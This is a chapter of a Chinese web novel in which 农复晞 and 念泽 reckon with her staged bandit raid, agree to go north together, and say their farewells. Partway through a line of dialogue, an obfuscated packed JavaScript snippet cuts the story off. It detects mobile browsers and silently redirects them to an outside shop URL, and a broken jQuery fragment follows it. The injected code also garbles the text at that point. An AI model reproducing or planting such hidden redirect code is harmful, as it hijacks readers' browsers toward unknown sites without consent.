又到了喝药的时间。
农复晞端着药碗,看出今天的汤药颜色比昨天的浅很多,就光说气味,也能让人从苦味中闻出一丝极淡的幽香。
“这和昨天的不一样。”
“我新研究出来的方子。”
“我伤都好得差不多了。说实话,喝这么久,这怪东西也不是治我之前受伤的药吧。”
“你喝得出来?”
“我又不傻。”
“那你都不问我,就不怕这药有问题?”
“你要害我啊?”农复晞放下碗,有恃无恐地抬头盯着她。
“你知不知道自己有晕症和心悸的毛病啊?”
“我眩晕偶尔会有,心悸倒没有察觉过。”
“我为什么有这毛病?”
“许是娘胎里带出来的弱症吧。”
“哦,这就是所谓的疑难杂症了吧?”
“喝吧。”
“这……比得上在天牢折腾人的手段了。救不救好像没区别。”
“你当时可不是这么说的!你说感谢我救你来着。”
“你在山上说,要是我遇到什么难处,可以来宁平县,全县百姓都感谢我们的采药之恩。这不是应该的嘛……”
“农复晞你这是挟恩图报!”
“好说,好说。”
农复晞喝完药,含着蜜饯,吞了口清茶润嗓子。刚想到庭中空地上松松筋骨,就听见念泽扶着栏杆自言自语。
“住久了,这山庄里的平淡日子也没什么意思。有的人终其一生都在重复过一种日子,做同一件事,没滋没味的,究竟图什么?”
“阿泽,你不是一个拘泥于宅院、情愿安于一隅的人,愿不愿意同我一道北上,拯民生于水火?”
他站在庭中提着剑,一脸诚挚地望向她。
念泽觉得可笑,“你怎知我会愿意冒险闯荡而非安稳度过余生?”
“乱世之下何来安稳?你能想出让官员合俸办病坊的办法,又肯冒险上山寻药,设计救我于缧绁,你就已经不是一个平凡女子了。”
“那就算这样。你说的冠冕堂皇,‘拯民生于水火’?反过来讲,这难道不是起兵造反?”
“景良王室已经不复存在,各路英豪纷纷而起。你说的‘造反’,旁人能做,我有什么做不得?要说名声不好,我更不在乎了。”
“我只是闲来无事,随口一说。我日子过得好好的,你有你的理想,何必拖上我呢?你的追随者们都还在客栈住着呢,你我总要分别的。”
“自然,自然但凭你心意。”
曹大娘带山庄上的居民去宝珠寺祈福,念泽歇在弋园。
她合上账本,打了个哈欠。突感嘴里有一股血腥味,再一回味,胸口像堵住了一团湿棉花。她大觉不妙,按住胸口,果然呕出一大口血来。
她快速拿帕子包住,好在是一个人在房间里,没人看见这怪象。
“反噬了。”
“千百年来第一回,好稀罕的体验。难道是救他一人,害了旁人不成,不然怎么会被凡人怨气反噬。”
农复晞几乎是跑着进门的,还未站稳便急着开口:
“牛家庄一连遭了两次马匪抢劫,第二次,是不是你安排的?”
念泽面容略有憔悴,清亮的眼神显得无辜、动人。
他才察觉到自己似乎对真相表现得太过着急。
“我不是质问的意思,只是想知道,到底是不是?”
“没错,是我安排的,为了救你出狱。不过我只是做了个假象,牛家庄应该没什么损失。”
他抿住了嘴唇。
“怎么了,牛家庄怎么了?”
“现在一整个村庄都空了,人都被李代抓去海边做苦役了,老弱妇孺都没有放过。”
“怎么可能!马匪动乱,他不是还派人去救牛家庄的吗?”
“那是为了笼络人心,现在估计是人心不向他,恼羞成怒了吧。”
“那是我做错事了。难怪呢……”
农复晞蹲在地上,拿根树枝在地上划拉,划着划着,忽然用力戳了一下地面。
“我这心急的毛病真是害死我了,原来脑子一热,嘴巴太快,就总有追悔的时候。”
他站起来走了两步,又折回去,蹲在原处。
“她会生气吗?”
“她怎么会不生气呢?”
思来想去,还是觉得如果就此沉默下去实在对不住她的恩泽,于是下了狠心一定要当面致歉。
念泽正闭目打坐,调整气息。
“你做什么?”
他干脆地跪在她跟前,双手将荆条奉上。
“我做事莽撞,害你入险境救我,这是其一;不顾你的立场,仅凭自己的喜恶和豪情壮志邀你一同入世,这是其二;还因为突然得知牛家庄的事,说话毫无分寸,不知进退,这是其三。我自知唐突鲁莽,任由你责罚。你可不可以大人不记小人过,不要自此不理我了。”
“真是一场负荆请罪的大戏。”念泽心下觉着他十分可爱。
她舒展双腿,扶着膝盖站起。
“我不想教训你,你起来。牛家庄的事,是我想简单了。既然我也有错,就必定会承担责任,若是使人平白无故受累,一定会尽力弥补的。所以,你那天问我什么的?你再问一遍。”
“什么?”
“救民生于水火。”
他反应过来,重复之前的说辞:“斗胆再邀念泽姑娘一次,我们一同北上成就一番事业,去不去?”
话音刚落,她立刻做出回答:“去!”
这一声干脆利落,毅然决然。
“你这是答应了?太好了!你放心,我不会将自己的意愿强迫于你。将来哪一天,你感到厌倦,或是累了,去做什么都好,你要是想回这里生活,我农复晞随时护送你回来。”
完全没想到今天会有这番际遇,他有些受宠若惊的意思了。
“我知道,你已经说过了。况且我也有责任心,有必须要去做的事。既然这个乱世给不了我要的安稳人生,倒不如奋力一搏,或许会有另一番景象。所以,这也不算全然跟随你,你不用有负担。我不会觉得你把自己的抱负志向强加于我,你有的志向我也有。”
“大娘在吗?”
贴身服侍大娘的丫头轻声回念泽的话:“在屋里。”
丫头站着不动,见念泽在门口踱来踱去,“我去通报一声。”
“别。”
念泽伸手拦住她,“我没事。”
“阿泽你在外面?进来吧。”
她推门进去,屋里光线不亮,统共点了三台烛灯,可谓节省。
整个屋子里没有繁重的装饰,只有一些素瓷,针线筐里绣好的帕子上还放着几束缠成一团的线球。
大娘正埋头整理绣线。
念泽看她似乎做了很久的针线活,手大约酸了,于是走到她身侧,静静坐下。
“我帮你吧。”
她接过线球,低着头轻柔地理着缠绕的丝线。
“有你在,我当真能舒心不少。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887342|212597||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”大娘侧眼看着念泽,说完,手掩着口鼻咳了两声。
“这个伤眼睛,大娘你身体不好,往后少做些针线活吧,吩咐下面的绣娘做就是了。”
“做了半辈子的事情,习惯了。手里闲不下来,就当是打发时间了。”说罢,爱惜地抚了抚筐里绣工精致的帕子。
不太明亮的光线下,依然清晰眼见大娘眼角的细纹,她手里的动作慢下来,真的有点舍不得了离开。
“库房的钥匙我交给小棠锁在盒子里了,她会亲自交给你的。”
大娘听出了她话里的意思。怕她有顾虑,爽快说道:“这段时间有你在,真的助我良多。不过天下之乱,这氿州也不能独善。你若是真的有心,就去吧,去你想去的地方。去做一番事业来救天下人,那时这里的一切人事才真的得救。”
念泽深吸了一口气,“只是此一别,不知还有没有缘分再见。”
“我见到你的第一眼就感觉我们相识的缘分不浅,会再见的。我守着山庄替你们祈福。”
弋园里草木葳蕤,枝叶扶疏,两人并肩站在屋檐下。
“可惜了你园子里的这些花草。”
往日,念泽有事忙活,农复晞都会早晚浇一次水,它们正长得好呢,这会儿心疼起来。
念泽转身面向他,神情很认真,“侍弄这些的确费功夫。不过,它们会被照料得很好的。”
农复晞久久站立在原地,端详满园景色,眼里是说不出来的惋惜和怅然。
“怎么,贪恋这里的江南景色?”念泽绕到他身后,踮起脚尖说着玩笑话。
听出打趣的意思,他反而故作轻松了:“嗯,就是啊,真的有点不舍得。”
他回想儿时在这里的生活痕迹,随母亲养护兰草,小小的手被大人握着修剪草木枝丫,笑语盈盈。
“我们还会回来吗?”念泽此刻无比依赖一句安慰的话。
“当然,只要想,总归有机会回来看看的。”
念泽欲转身时,裙摆被一道力死死扯住。
“你们要走,可以带我吗?我很乖的。”
采药那会儿遇到的怪小孩正握着她的衣角,苦苦哀求。
“你怎么进来的?”
“小孩儿,你知道我们要去干嘛吗?”农复晞拍拍他的脑袋笑着问。
他转头躲开了,碎步后移到念泽身后,紧紧挨着她,一顿一顿地说:“我大概知道,你们要走四方,荡贼寇,打江山,治天下。”
念泽和农复晞几乎同时看了看对方。
“小鬼,这话从哪里听来的呀?”
“江边的‘破卷先生’教的。”
“你这小孩,你要走,家里人知道吗?”
小孩子的眼里露出他这个年纪不该有的落寞来。
“我没有家人,我自小就在氿州长大,从来不知道爹娘是谁。你们带我一起走吧,从今往后,你们就是我的家人。”
“你叫什么名字?”
这孩子怪可怜的,念泽怪自己一时失言,于是关切地询问,话音里带着弥补的意思。
“胡小五,破卷先生给我取的名字。我在济善堂吃百家饭长大,在一众兄弟姐妹中我排行老五。现在,只剩我和妹妹了。”
“那你想和我们走,可就见不到妹妹了。”
“她已经被领养走了。”
“唉,小五,你要想好了,外面不比这里安全。我们还有几天才走,你好好想想。有问题可以随时来找我,我和管家打声招呼放你进来。不对,你自己就能进来。”